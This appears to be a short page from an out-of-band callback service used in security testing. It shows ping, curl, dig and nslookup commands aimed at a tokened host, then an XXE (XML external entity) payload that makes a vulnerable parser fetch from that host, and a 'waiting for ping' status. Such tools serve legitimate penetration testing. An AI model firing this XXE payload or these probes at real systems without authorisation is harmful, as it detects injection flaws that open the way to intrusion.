$ ping -c1 -p 00e59ff4703be9a62cc2cb78d3ac3700 unhack.ca
 
$ curl http://unhack.ca/p/e59ff4703be9a62cc2cb78d3ac37
 
$ dig e59ff4703be9a62cc2cb78d3ac37 @unhack.ca
 
$ dig e59ff4703be9a62cc2cb78d3ac37.ns.unhack.ca
 
C:\> nslookup e59ff4703be9a62cc2cb78d3ac37 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e59ff4703be9a62cc2cb78d3ac37">]>
    <foo>&xxe;</foo>
Waiting for ping...